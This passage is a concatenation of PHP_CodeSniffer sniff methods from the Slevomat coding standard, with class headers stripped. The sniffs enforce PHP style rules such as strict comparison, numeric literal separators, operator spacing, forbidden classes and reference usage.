$phpcsFile->addFixableError( sprintf( 'Expected %d line%s between different types of use statement, found %d.', $this->linesCountBetweenUseTypes, $this->linesCountBetweenUseTypes === 1 ? '' : 's', $actualLinesCountAfterPreviousUse, ), $use->getPointer(), self::CODE_INCORRECT_LINES_COUNT_BETWEEN_DIFFERENT_TYPES_OF_USE, ); if (!$fix) { $previousUse = $use; continue; } /** @var int $previousUseSemicolonPointer */ $previousUseSemicolonPointer = TokenHelper::findNextLocal($phpcsFile, T_SEMICOLON, $previousUse->getPointer() + 1); $phpcsFile->fixer->beginChangeset(); FixerHelper::removeBetween($phpcsFile, $previousUseSemicolonPointer, $useStartPointer); for ($i = 0; $i <= $this->linesCountBetweenUseTypes; $i++) { $phpcsFile->fixer->addNewline($previousUseSemicolonPointer); } $phpcsFile->fixer->endChangeset(); $previousUse = $use; } } } */ public function register(): array { return [ T_OPEN_TAG, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $openTagPointer */ public function process(File $phpcsFile, $openTagPointer): void { if (TokenHelper::findPrevious($phpcsFile, T_OPEN_TAG, $openTagPointer - 1) !== null) { return; } $fileUseStatements = UseStatementHelper::getFileUseStatements($phpcsFile); if (count($fileUseStatements) === 0) { return; } foreach ($fileUseStatements as $useStatements) { foreach ($useStatements as $useStatement) { if ($useStatement->getAlias() === null) { continue; } $unqualifiedName = NamespaceHelper::getUnqualifiedNameFromFullyQualifiedName($useStatement->getFullyQualifiedTypeName()); if ($unqualifiedName !== $useStatement->getAlias()) { continue; } $fix = $phpcsFile->addFixableError( sprintf('Useless alias "%s" for use of "%s".', $useStatement->getAlias(), $useStatement->getFullyQualifiedTypeName()), $useStatement->getPointer(), self::CODE_USELESS_ALIAS, ); if (!$fix) { continue; } $asPointer = TokenHelper::findNext($phpcsFile, T_AS, $useStatement->getPointer() + 1); $nameEndPointer = TokenHelper::findPrevious($phpcsFile, TokenHelper::ONLY_NAME_TOKEN_CODES, $asPointer - 1); $useSemicolonPointer = TokenHelper::findNext($phpcsFile, T_SEMICOLON, $asPointer + 1); $phpcsFile->fixer->beginChangeset(); FixerHelper::removeBetween($phpcsFile, $nameEndPointer, $useSemicolonPointer); $phpcsFile->fixer->endChangeset(); } } } } */ public function register(): array { return [ T_LNUMBER, T_DNUMBER, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $numberPointer */ public function process(File $phpcsFile, $numberPointer): void { $tokens = $phpcsFile->getTokens(); if (strpos($tokens[$numberPointer]['content'], '_') === false) { return; } $fix = $phpcsFile->addFixableError( 'Use of numeric literal separator is disallowed.', $numberPointer, self::CODE_DISALLOWED_NUMERIC_LITERAL_SEPARATOR, ); if (!$fix) { return; } $phpcsFile->fixer->beginChangeset(); FixerHelper::replace( $phpcsFile, $numberPointer, str_replace('_', '', $tokens[$numberPointer]['content']), ); $phpcsFile->fixer->endChangeset(); } } */ public function register(): array { return [ T_LNUMBER, T_DNUMBER, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $numberPointer */ public function process(File $phpcsFile, $numberPointer): void { $this->enable = SniffSettingsHelper::isEnabledByPhpVersion($this->enable, 70400); $this->minDigitsBeforeDecimalPoint = SniffSettingsHelper::normalizeInteger($this->minDigitsBeforeDecimalPoint); $this->minDigitsAfterDecimalPoint = SniffSettingsHelper::normalizeInteger($this->minDigitsAfterDecimalPoint); if (!$this->enable) { return; } $tokens = $phpcsFile->getTokens(); $number = $tokens[$numberPointer]['content']; if (strpos($tokens[$numberPointer]['content'], '_') !== false) { return; } if ( $this->ignoreOctalNumbers && preg_match('~^0[0-7]+$~', $number) === 1 ) { return; } $regexp = '~(?:^\\d{' . $this->minDigitsBeforeDecimalPoint . '}|\.\\d{' . $this->minDigitsAfterDecimalPoint . '})~'; if (preg_match($regexp, $number) === 0) { return; } $phpcsFile->addError( 'Use of numeric literal separator is required.', $numberPointer, self::CODE_REQUIRED_NUMERIC_LITERAL_SEPARATOR, ); } } */ public function register(): array { return [ T_IS_EQUAL, T_IS_NOT_EQUAL, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $operatorPointer */ public function process(File $phpcsFile, $operatorPointer): void { $tokens = $phpcsFile->getTokens(); if ($tokens[$operatorPointer]['code'] === T_IS_EQUAL) { $fix = $phpcsFile->addFixableError( 'Operator == is disallowed, use === instead.', $operatorPointer, self::CODE_DISALLOWED_EQUAL_OPERATOR, ); if ($fix) { $phpcsFile->fixer->beginChangeset(); FixerHelper::replace($phpcsFile, $operatorPointer, '==='); $phpcsFile->fixer->endChangeset(); } } else { $fix = $phpcsFile->addFixableError(sprintf( 'Operator %s is disallowed, use !== instead.', $tokens[$operatorPointer]['content'], ), $operatorPointer, self::CODE_DISALLOWED_NOT_EQUAL_OPERATOR); if ($fix) { $phpcsFile->fixer->beginChangeset(); FixerHelper::replace($phpcsFile, $operatorPointer, '!=='); $phpcsFile->fixer->endChangeset(); } } } } */ public function register(): array { return [ T_DEC, T_INC, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $operatorPointer */ public function process(File $phpcsFile, $operatorPointer): void { $tokens = $phpcsFile->getTokens(); /** @var int $nextPointer */ $nextPointer = TokenHelper::findNextEffective($phpcsFile, $operatorPointer + 1); $afterVariableEndPointer = IdentificatorHelper::findEndPointer($phpcsFile, $nextPointer); $isPostOperator = $afterVariableEndPointer === null; if ($tokens[$operatorPointer]['code'] === T_INC) { if ($isPostOperator) { $code = self::CODE_DISALLOWED_POST_INCREMENT_OPERATOR; $message = 'Use of post-increment operator is disallowed.'; } else { $code = self::CODE_DISALLOWED_PRE_INCREMENT_OPERATOR; $message = 'Use of pre-increment operator is disallowed.'; } } else { if ($isPostOperator) { $code = self::CODE_DISALLOWED_POST_DECREMENT_OPERATOR; $message = 'Use of post-decrement operator is disallowed.'; } else { $code = self::CODE_DISALLOWED_PRE_DECREMENT_OPERATOR; $message = 'Use of pre-decrement operator is disallowed.'; } } $phpcsFile->addError($message, $operatorPointer, $code); } } */ public function register(): array { return [T_MINUS]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $pointer */ public function process(File $phpcsFile, $pointer): void { $this->spacesCount = SniffSettingsHelper::normalizeInteger($this->spacesCount); $tokens = $phpcsFile->getTokens(); $previousEffective = TokenHelper::findPreviousEffective($phpcsFile, $pointer - 1); $possibleOperandTypes = [ ...TokenHelper::ONLY_NAME_TOKEN_CODES, T_CONSTANT_ENCAPSED_STRING, T_CLASS_C, T_CLOSE_PARENTHESIS, T_CLOSE_SHORT_ARRAY, T_CLOSE_SQUARE_BRACKET, T_DIR, T_DNUMBER, T_ENCAPSED_AND_WHITESPACE, T_FILE, T_FUNC_C, T_LINE, T_LNUMBER, T_METHOD_C, T_NS_C, T_NUM_STRING, T_TRAIT_C, T_VARIABLE, ]; if (in_array($tokens[$previousEffective]['code'], $possibleOperandTypes, true)) { return; } $possibleVariableStartPointer = IdentificatorHelper::findStartPointer($phpcsFile, $previousEffective); if ($possibleVariableStartPointer !== null) { return; } $whitespacePointer = $pointer + 1; $numberOfSpaces = $tokens[$whitespacePointer]['code'] !== T_WHITESPACE ? 0 : strlen($tokens[$whitespacePointer]['content']); if ($numberOfSpaces === $this->spacesCount) { return; } $fix = $phpcsFile->addFixableError( sprintf( 'Expected exactly %d space after "%s", %d found.', $this->spacesCount, $tokens[$pointer]['content'], $numberOfSpaces, ), $pointer, self::CODE_INVALID_SPACE_AFTER_MINUS, ); if (!$fix) { return; } if ($this->spacesCount > $numberOfSpaces) { FixerHelper::add($phpcsFile, $pointer, ' '); return; } FixerHelper::replace($phpcsFile, $whitespacePointer, ''); } } */ public function register(): array { return [ T_EQUAL, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $equalPointer */ public function process(File $phpcsFile, $equalPointer): void { $tokens = $phpcsFile->getTokens(); /** @var int $variableStartPointer */ $variableStartPointer = TokenHelper::findNextEffective($phpcsFile, $equalPointer + 1); $variableEndPointer = IdentificatorHelper::findEndPointer($phpcsFile, $variableStartPointer); if ($variableEndPointer === null) { return; } $operatorPointer = TokenHelper::findNextEffective($phpcsFile, $variableEndPointer + 1); $operators = [ T_BITWISE_AND => '&=', T_BITWISE_OR => '|=', T_STRING_CONCAT => '.=', T_DIVIDE => '/=', T_MINUS => '-=', T_POW => '**=', T_MODULUS => '%=', T_MULTIPLY => '*=', T_PLUS => '+=', T_SL => '<<=', T_SR => '>>=', T_BITWISE_XOR => '^=', ]; if (!array_key_exists($tokens[$operatorPointer]['code'], $operators)) { return; } $isFixable = true; if ($tokens[$variableEndPointer]['code'] === T_CLOSE_SQUARE_BRACKET) { $pointerAfterOperator = TokenHelper::findNextEffective($phpcsFile, $operatorPointer + 1); if (in_array( $tokens[$pointerAfterOperator]['code'], [T_CONSTANT_ENCAPSED_STRING, T_DOUBLE_QUOTED_STRING, T_START_HEREDOC, T_START_NOWDOC], true, )) { return; } $isFixable = in_array($tokens[$pointerAfterOperator]['code'], [T_LNUMBER, T_DNUMBER], true); } $variableContent = IdentificatorHelper::getContent($phpcsFile, $variableStartPointer, $variableEndPointer); /** @var int $beforeEqualEndPointer */ $beforeEqualEndPointer = TokenHelper::findPreviousEffective($phpcsFile, $equalPointer - 1); $beforeEqualStartPointer = IdentificatorHelper::findStartPointer($phpcsFile, $beforeEqualEndPointer); if ($beforeEqualStartPointer === null) { return; } $beforeEqualVariableContent = IdentificatorHelper::getContent($phpcsFile, $beforeEqualStartPointer, $beforeEqualEndPointer); if ($beforeEqualVariableContent !== $variableContent) { return; } $semicolonPointer = TokenHelper::findNext($phpcsFile, T_SEMICOLON, $equalPointer + 1); if (TokenHelper::findNext($phpcsFile, Tokens::$operators, $operatorPointer + 1, $semicolonPointer) !== null) { return; } $errorMessage = sprintf( 'Use "%s" operator instead of "=" and "%s".', $operators[$tokens[$operatorPointer]['code']], $tokens[$operatorPointer]['content'], ); if (!$isFixable) { $phpcsFile->addError($errorMessage, $equalPointer, self::CODE_REQUIRED_COMBINED_ASSIGNMENT_OPERATOR); return; } $fix = $phpcsFile->addFixableError($errorMessage, $equalPointer, self::CODE_REQUIRED_COMBINED_ASSIGNMENT_OPERATOR); if (!$fix) { return; } $phpcsFile->fixer->beginChangeset(); FixerHelper::change($phpcsFile, $equalPointer, $operatorPointer, $operators[$tokens[$operatorPointer]['code']]); $phpcsFile->fixer->endChangeset(); } } */ public function register(): array { return [ T_DEC, T_INC, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $operatorPointer */ public function process(File $phpcsFile, $operatorPointer): void { $tokens = $phpcsFile->getTokens(); /** @var int $nextPointer */ $nextPointer = TokenHelper::findNextEffective($phpcsFile, $operatorPointer + 1); $afterVariableEndPointer = IdentificatorHelper::findEndPointer($phpcsFile, $nextPointer); $isPostOperator = $afterVariableEndPointer === null; if ($isPostOperator) { /** @var int $beforeVariableEndPointer */ $beforeVariableEndPointer = TokenHelper::findPreviousEffective($phpcsFile, $operatorPointer - 1); /** @var int $instructionStartPointer */ $instructionStartPointer = IdentificatorHelper::findStartPointer($phpcsFile, $beforeVariableEndPointer); $instructionEndPointer = $operatorPointer; } else { $instructionStartPointer = $operatorPointer; /** @var int $instructionEndPointer */ $instructionEndPointer = $afterVariableEndPointer; } if ($this->isStandalone($phpcsFile, $instructionStartPointer, $instructionEndPointer)) { return; } if ($tokens[$operatorPointer]['code'] === T_INC) { if ($isPostOperator) { $code = self::CODE_POST_INCREMENT_OPERATOR_NOT_USED_STANDALONE; $message = 'Post-increment operator should be used only as single instruction.'; } else { $code = self::CODE_PRE_INCREMENT_OPERATOR_NOT_USED_STANDALONE; $message = 'Pre-increment operator should be used only as single instruction.'; } } else { if ($isPostOperator) { $code = self::CODE_POST_DECREMENT_OPERATOR_NOT_USED_STANDALONE; $message = 'Post-decrement operator should be used only as single instruction.'; } else { $code = self::CODE_PRE_DECREMENT_OPERATOR_NOT_USED_STANDALONE; $message = 'Pre-decrement operator should be used only as single instruction.'; } } $phpcsFile->addError($message, $operatorPointer, $code); } private function isStandalone(File $phpcsFile, int $instructionStartPointer, int $instructionEndPointer): bool { $tokens = $phpcsFile->getTokens(); $pointerBeforeInstructionStart = TokenHelper::findPreviousEffective($phpcsFile, $instructionStartPointer - 1); if (!in_array( $tokens[$pointerBeforeInstructionStart]['code'], [T_SEMICOLON, T_COLON, T_OPEN_CURLY_BRACKET, T_CLOSE_CURLY_BRACKET, T_OPEN_TAG], true, )) { return false; } $pointerAfterInstructionEnd = TokenHelper::findNextEffective($phpcsFile, $instructionEndPointer + 1); if ($tokens[$pointerAfterInstructionEnd]['code'] === T_SEMICOLON) { return true; } if ($tokens[$pointerAfterInstructionEnd]['code'] === T_CLOSE_PARENTHESIS) { return array_key_exists('parenthesis_owner', $tokens[$pointerAfterInstructionEnd]) && in_array($tokens[$tokens[$pointerAfterInstructionEnd]['parenthesis_owner']]['code'], [T_FOR, T_WHILE], true); } return false; } } */ public function register(): array { return [ T_ELLIPSIS, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $spreadOperatorPointer */ public function process(File $phpcsFile, $spreadOperatorPointer): void { $this->spacesCountAfterOperator = SniffSettingsHelper::normalizeInteger($this->spacesCountAfterOperator); $pointerAfterWhitespace = TokenHelper::findNextNonWhitespace($phpcsFile, $spreadOperatorPointer + 1); $whitespace = TokenHelper::getContent($phpcsFile, $spreadOperatorPointer + 1, $pointerAfterWhitespace - 1); if ($this->spacesCountAfterOperator === strlen($whitespace)) { return; } $errorMessage = $this->spacesCountAfterOperator === 0 ? 'There must be no whitespace after spread operator.' : sprintf( 'There must be exactly %d whitespace%s after spread operator.', $this->spacesCountAfterOperator, $this->spacesCountAfterOperator !== 1 ? 's' : '', ); $fix = $phpcsFile->addFixableError($errorMessage, $spreadOperatorPointer, self::CODE_INCORRECT_SPACES_AFTER_OPERATOR); if (!$fix) { return; } $phpcsFile->fixer->beginChangeset(); FixerHelper::add( $phpcsFile, $spreadOperatorPointer, str_repeat(' ', $this->spacesCountAfterOperator), ); FixerHelper::removeBetween($phpcsFile, $spreadOperatorPointer, $pointerAfterWhitespace); $phpcsFile->fixer->endChangeset(); } } */ public function register(): array { return [ T_STRING, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $stringPointer */ public function process(File $phpcsFile, $stringPointer): void { $tokens = $phpcsFile->getTokens(); $parenthesisOpenerPointer = TokenHelper::findNextEffective($phpcsFile, $stringPointer + 1); if ($tokens[$parenthesisOpenerPointer]['code'] !== T_OPEN_PARENTHESIS) { return; } if (strtolower($tokens[$stringPointer]['content']) !== '__invoke') { return; } $objectOperator = TokenHelper::findPreviousEffective($phpcsFile, $stringPointer - 1); if ($tokens[$objectOperator]['code'] !== T_OBJECT_OPERATOR) { return; } $fix = $phpcsFile->addFixableError( 'Direct call of __invoke() is disallowed.', $stringPointer, self::CODE_DISALLOWED_DIRECT_MAGIC_INVOKE_CALL, ); if (!$fix) { return; } $phpcsFile->fixer->beginChangeset(); FixerHelper::removeBetweenIncluding($phpcsFile, $objectOperator, $parenthesisOpenerPointer - 1); $phpcsFile->fixer->endChangeset(); } } */ public function register(): array { return [ T_BITWISE_AND, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $referencePointer */ public function process(File $phpcsFile, $referencePointer): void { $tokens = $phpcsFile->getTokens(); $previousPointer = TokenHelper::findPreviousEffective($phpcsFile, $referencePointer - 1); if (in_array($tokens[$previousPointer]['code'], TokenHelper::FUNCTION_TOKEN_CODES, true)) { $phpcsFile->addError('Returning reference is disallowed.', $referencePointer, self::CODE_DISALLOWED_RETURNING_REFERENCE); return; } $previousParenthesisOpenerPointer = TokenHelper::findPrevious($phpcsFile, T_OPEN_PARENTHESIS, $referencePointer - 1); if ( $previousParenthesisOpenerPointer !== null && $tokens[$previousParenthesisOpenerPointer]['parenthesis_closer'] > $referencePointer ) { if (array_key_exists('parenthesis_owner', $tokens[$previousParenthesisOpenerPointer])) { $parenthesisOwnerPointer = $tokens[$previousParenthesisOpenerPointer]['parenthesis_owner']; if (in_array($tokens[$parenthesisOwnerPointer]['code'], TokenHelper::FUNCTION_TOKEN_CODES, true)) { $phpcsFile->addError( 'Passing by reference is disallowed.', $referencePointer, self::CODE_DISALLOWED_PASSING_BY_REFERENCE, ); return; } } $pointerBeforeParenthesisOpener = TokenHelper::findPreviousEffective($phpcsFile, $previousParenthesisOpenerPointer - 1); if ( $pointerBeforeParenthesisOpener !== null && $tokens[$pointerBeforeParenthesisOpener]['code'] === T_USE ) { $phpcsFile->addError( 'Inheriting variable by reference is disallowed.', $referencePointer, self::CODE_DISALLOWED_INHERITING_VARIABLE_BY_REFERENCE, ); return; } } /** @var int $variableStartPointer */ $variableStartPointer = TokenHelper::findNextEffective($phpcsFile, $referencePointer + 1); $variableEndPointer = IdentificatorHelper::findEndPointer($phpcsFile, $variableStartPointer); if ($variableEndPointer === null) { return; } $previousPointer = TokenHelper::findPreviousEffective($phpcsFile, $referencePointer - 1); if (!in_array($tokens[$previousPointer]['code'], [T_EQUAL, T_DOUBLE_ARROW, T_OPEN_SHORT_ARRAY, T_COMMA, T_AS], true)) { return; } $phpcsFile->addError('Assigning by reference is disallowed.', $referencePointer, self::CODE_DISALLOWED_ASSIGNING_BY_REFERENCE); } } */ public array $forbiddenClasses = []; /** @var array */ public array $forbiddenExtends = []; /** @var array */ public array $forbiddenInterfaces = []; /** @var array */ public array $forbiddenTraits = []; /** @var list */ private static array $keywordReferences = ['self', 'parent', 'static']; /** * @return array */ public function register(): array { $searchTokens = []; if (count($this->forbiddenClasses) > 0) { $this->forbiddenClasses = self::normalizeInputOption($this->forbiddenClasses); $searchTokens[] = T_NEW; $searchTokens[] = T_DOUBLE_COLON; } if (count($this->forbiddenExtends) > 0) { $this->forbiddenExtends = self::normalizeInputOption($this->forbiddenExtends); $searchTokens[] = T_EXTENDS; } if (count($this->forbiddenInterfaces) > 0) { $this->forbiddenInterfaces = self::normalizeInputOption($this->forbiddenInterfaces); $searchTokens[] = T_IMPLEMENTS; } if (count($this->forbiddenTraits) > 0) { $this->forbiddenTraits = self::normalizeInputOption($this->forbiddenTraits); $searchTokens[] = T_USE; } return $searchTokens; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $tokenPointer */ public function process(File $phpcsFile, $tokenPointer): void { $tokens = $phpcsFile->getTokens(); $token = $tokens[$tokenPointer]; $nameTokens = [...TokenHelper::NAME_TOKEN_CODES, ...TokenHelper::INEFFECTIVE_TOKEN_CODES]; if ( $token['code'] === T_IMPLEMENTS || ( $token['code'] === T_USE && UseStatementHelper::isTraitUse($phpcsFile, $tokenPointer) ) ) { $endTokenPointer = TokenHelper::findNext( $phpcsFile, [T_SEMICOLON, T_OPEN_CURLY_BRACKET], $tokenPointer, ); $references = $this->getAllReferences($phpcsFile, $tokenPointer, $endTokenPointer); if ($token['code'] === T_IMPLEMENTS) { $this->checkReferences($phpcsFile, $tokenPointer, $references, $this->forbiddenInterfaces); } else { // Fixer does not work when traits contains aliases $this->checkReferences( $phpcsFile, $tokenPointer, $references, $this->forbiddenTraits, $tokens[$endTokenPointer]['code'] !== T_OPEN_CURLY_BRACKET, ); } } elseif (in_array($token['code'], [T_NEW, T_EXTENDS], true)) { $endTokenPointer = TokenHelper::findNextExcluding($phpcsFile, $nameTokens, $tokenPointer + 1); $references = $this->getAllReferences($phpcsFile, $tokenPointer, $endTokenPointer); $this->checkReferences( $phpcsFile, $tokenPointer, $references, $token['code'] === T_NEW ? $this->forbiddenClasses : $this->forbiddenExtends, ); } elseif ($token['code'] === T_DOUBLE_COLON && !$this->isTraitsConflictResolutionToken($token)) { $startTokenPointer = TokenHelper::findPreviousExcluding($phpcsFile, $nameTokens, $tokenPointer - 1); $references = $this->getAllReferences($phpcsFile, $startTokenPointer, $tokenPointer); $this->checkReferences($phpcsFile, $tokenPointer, $references, $this->forbiddenClasses); } } /** * @param list $references * @param array $forbiddenNames */ private function checkReferences( File $phpcsFile, int $tokenPointer, array $references, array $forbiddenNames, bool $isFixable = true ): void { $token = $phpcsFile->getTokens()[$tokenPointer]; $details = [ T_NEW => ['class', self::CODE_FORBIDDEN_CLASS], T_DOUBLE_COLON => ['class', self::CODE_FORBIDDEN_CLASS], T_EXTENDS => ['as a parent class', self::CODE_FORBIDDEN_PARENT_CLASS], T_IMPLEMENTS => ['interface', self::CODE_FORBIDDEN_INTERFACE], T_USE => ['trait', self::CODE_FORBIDDEN_TRAIT], ]; foreach ($references as $reference) { if (!array_key_exists($reference['fullyQualifiedName'], $forbiddenNames)) { continue; } $alternative = $forbiddenNames[$reference['fullyQualifiedName']]; [$nameType, $code] = $details[$token['code']]; if ($alternative === null) { $phpcsFile->addError( sprintf('Usage of %s %s is forbidden.', $reference['fullyQualifiedName'], $nameType), $reference['startPointer'], $code, ); } elseif (!$isFixable) { $phpcsFile->addError( sprintf( 'Usage of %s %s is forbidden, use %s instead.', $reference['fullyQualifiedName'], $nameType, $alternative, ), $reference['startPointer'], $code, ); } else { $fix = $phpcsFile->addFixableError( sprintf( 'Usage of %s %s is forbidden, use %s instead.', $reference['fullyQualifiedName'], $nameType, $alternative, ), $reference['startPointer'], $code, ); if (!$fix) { continue; } $phpcsFile->fixer->beginChangeset(); FixerHelper::change($phpcsFile, $reference['startPointer'], $reference['endPointer'], $alternative); $phpcsFile->fixer->endChangeset(); } } } /** * @param array|int|string> $token */ private function isTraitsConflictResolutionToken(array $token): bool { return is_array($token['conditions']) && array_pop($token['conditions']) === T_USE; } /** * @return list */ private function getAllReferences(File $phpcsFile, int $startPointer, int $endPointer): array { // Always ignore first token $startPointer++; $references = []; while ($startPointer < $endPointer) { $nextComma = TokenHelper::findNext($phpcsFile, [T_COMMA], $startPointer + 1); $nextSeparator = min($endPointer, $nextComma ?? PHP_INT_MAX); $reference = ReferencedNameHelper::getReferenceName($phpcsFile, $startPointer, $nextSeparator - 1); if ( strlen($reference) !== 0 && !in_array(strtolower($reference), self::$keywordReferences, true) ) { $references[] = [ 'fullyQualifiedName' => NamespaceHelper::resolveClassName($phpcsFile, $reference, $startPointer), 'startPointer' => TokenHelper::findNextEffective($phpcsFile, $startPointer, $endPointer), 'endPointer' => TokenHelper::findPreviousEffective($phpcsFile, $nextSeparator - 1, $startPointer), ]; } $startPointer = $nextSeparator + 1; } return $references; } /** * @param array $option * @return array */ private static function normalizeInputOption(array $option): array { $forbiddenClasses = []; foreach ($option as $forbiddenClass => $alternative) { $forbiddenClasses[self::normalizeClassName($forbiddenClass)] = self::normalizeClassName($alternative); } return $forbiddenClasses; } private static function normalizeClassName(?string $typeName): ?string { if ($typeName === null || strlen($typeName) === 0 || strtolower($typeName) === 'null') { return null; } return NamespaceHelper::getFullyQualifiedTypeName($typeName); } } */ public function register(): array { return TokenHelper::ONLY_NAME_TOKEN_CODES; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $pointer */ public function process(File $phpcsFile, $pointer): void { $previousTokenPointer = TokenHelper::findPreviousEffective($phpcsFile, $pointer - 1); $openBracketPointer = TokenHelper::findNextEffective($phpcsFile, $pointer + 1); $tokens = $phpcsFile->getTokens(); if ($openBracketPointer === null || $tokens[$openBracketPointer]['code'] !== T_OPEN_PARENTHESIS) { return; } if (in_array($tokens[$previousTokenPointer]['code'], [T_FUNCTION, T_NEW, T_OBJECT_OPERATOR], true)) { return; } /** @var int $tokenBeforeInvocationPointer */ $tokenBeforeInvocationPointer = TokenHelper::findPreviousExcluding($phpcsFile, TokenHelper::NAME_TOKEN_CODES, $pointer); $invokedName = TokenHelper::getContent($phpcsFile, $tokenBeforeInvocationPointer + 1, $pointer); $useName = sprintf('function %s', $invokedName); $uses = UseStatementHelper::getUseStatementsForPointer($phpcsFile, $pointer); if ($invokedName[0] === '\\') { $invokedName = substr($invokedName, 1); } elseif (array_key_exists($useName, $uses) && $uses[$useName]->isFunction()) { $invokedName = $uses[$useName]->getFullyQualifiedTypeName(); } elseif (NamespaceHelper::findCurrentNamespaceName($phpcsFile, $pointer) !== null) { return; } if (!in_array($invokedName, FunctionHelper::SPECIAL_FUNCTIONS, true)) { return; } $closeBracketPointer = $tokens[$openBracketPointer]['parenthesis_closer']; if (TokenHelper::findNextEffective($phpcsFile, $openBracketPointer + 1, $closeBracketPointer + 1) === $closeBracketPointer) { return; } $pointerBeforeCloseBracket = TokenHelper::findPreviousEffective($phpcsFile, $closeBracketPointer - 1); $startPointer = $tokens[$pointerBeforeCloseBracket]['code'] === T_COMMA ? $pointerBeforeCloseBracket : $closeBracketPointer; do { $lastArgumentSeparatorPointer = TokenHelper::findPrevious($phpcsFile, [T_COMMA], $startPointer - 1, $openBracketPointer); $startPointer = $lastArgumentSeparatorPointer; } while ( $lastArgumentSeparatorPointer !== null && $tokens[$lastArgumentSeparatorPointer]['level'] !== $tokens[$openBracketPointer]['level'] ); $lastArgumentSeparatorPointer ??= $openBracketPointer; /** @var int $nextTokenAfterSeparatorPointer */ $nextTokenAfterSeparatorPointer = TokenHelper::findNextEffective( $phpcsFile, $lastArgumentSeparatorPointer + 1, $closeBracketPointer, ); if ($tokens[$nextTokenAfterSeparatorPointer]['code'] !== T_ELLIPSIS) { return; } if (TokenHelper::findNextEffective($phpcsFile, $nextTokenAfterSeparatorPointer + 1) === $closeBracketPointer) { // First class callables return; } $phpcsFile->addError( sprintf('Function %s is specialized by PHP and should not use argument unpacking.', $invokedName), $nextTokenAfterSeparatorPointer, self::CODE_UNPACKING_USED, ); } } */ public function register(): array { return [ T_BITWISE_AND, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $referencePointer */ public function process(File $phpcsFile, $referencePointer): void { $this->spacesCountAfterReference = SniffSettingsHelper::normalizeInteger($this->spacesCountAfterReference); if (!$this->isReference($phpcsFile, $referencePointer)) { return; } $pointerAfterWhitespace = TokenHelper::findNextNonWhitespace($phpcsFile, $referencePointer + 1); $whitespace = TokenHelper::getContent($phpcsFile, $referencePointer + 1, $pointerAfterWhitespace - 1); $actualSpacesCount = strlen($whitespace); if ($this->spacesCountAfterReference === $actualSpacesCount) { return; } $errorMessage = $this->spacesCountAfterReference === 0 ? 'There must be no whitespace after reference.' : sprintf( 'There must be exactly %d whitespace%s after reference.', $this->spacesCountAfterReference, $this->spacesCountAfterReference !== 1 ? 's' : '', ); $fix = $phpcsFile->addFixableError($errorMessage, $referencePointer, self::CODE_INCORRECT_SPACES_AFTER_REFERENCE); if (!$fix) { return; } $phpcsFile->fixer->beginChangeset(); FixerHelper::add($phpcsFile, $referencePointer, str_repeat(' ', $this->spacesCountAfterReference)); FixerHelper::removeBetween($phpcsFile, $referencePointer, $pointerAfterWhitespace); $phpcsFile->fixer->endChangeset(); } private function isReference(File $phpcsFile, int $referencePointer): bool { $tokens = $phpcsFile->getTokens(); $previousPointer = TokenHelper::findPreviousEffective($phpcsFile, $referencePointer - 1); if (in_array($tokens[$previousPointer]['code'], TokenHelper::FUNCTION_TOKEN_CODES, true)) { return true; } $previousParenthesisOpenerPointer = TokenHelper::findPrevious($phpcsFile, T_OPEN_PARENTHESIS, $referencePointer - 1); if ( $previousParenthesisOpenerPointer !== null && $tokens[$previousParenthesisOpenerPointer]['parenthesis_closer'] > $referencePointer ) { if (array_key_exists('parenthesis_owner', $tokens[$previousParenthesisOpenerPointer])) { $parenthesisOwnerPointer = $tokens[$previousParenthesisOpenerPointer]['parenthesis_owner']; if (in_array($tokens[$parenthesisOwnerPointer]['code'], TokenHelper::FUNCTION_TOKEN_CODES, true)) { return true; } } $pointerBeforeParenthesisOpener = TokenHelper::findPreviousEffective($phpcsFile, $previousParenthesisOpenerPointer - 1); if ( $pointerBeforeParenthesisOpener !== null && $tokens[$pointerBeforeParenthesisOpener]['code'] === T_USE ) { return true; } } /** @var int $variableStartPointer */ $variableStartPointer = TokenHelper::findNextEffective($phpcsFile, $referencePointer + 1); $variableEndPointer = IdentificatorHelper::findEndPointer($phpcsFile, $variableStartPointer); if ($variableEndPointer === null) { return false; } $previousPointer = TokenHelper::findPreviousEffective($phpcsFile, $referencePointer - 1); return in_array($tokens[$previousPointer]['code'], [T_EQUAL, T_DOUBLE_ARROW, T_OPEN_SHORT_ARRAY, T_COMMA, T_AS], true); } } */ public function register(): array { return [ T_DOC_COMMENT_OPEN_TAG, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $docCommentOpenPointer */ public function process(File $phpcsFile, $docCommentOpenPointer): void { $tokens = $phpcsFile->getTokens(); $tokenCodes = [T_VARIABLE, T_FOREACH, T_WHILE, T_LIST, T_OPEN_SHORT_ARRAY]; $commentClosePointer = $tokens[$docCommentOpenPointer]['comment_closer']; $codePointer = TokenHelper::findFirstNonWhitespaceOnNextLine($phpcsFile, $commentClosePointer); if ($codePointer === null || !in_array($tokens[$codePointer]['code'], $tokenCodes, true)) { $firstPointerOnPreviousLine = TokenHelper::findFirstNonWhitespaceOnPreviousLine($phpcsFile, $docCommentOpenPointer); if ( 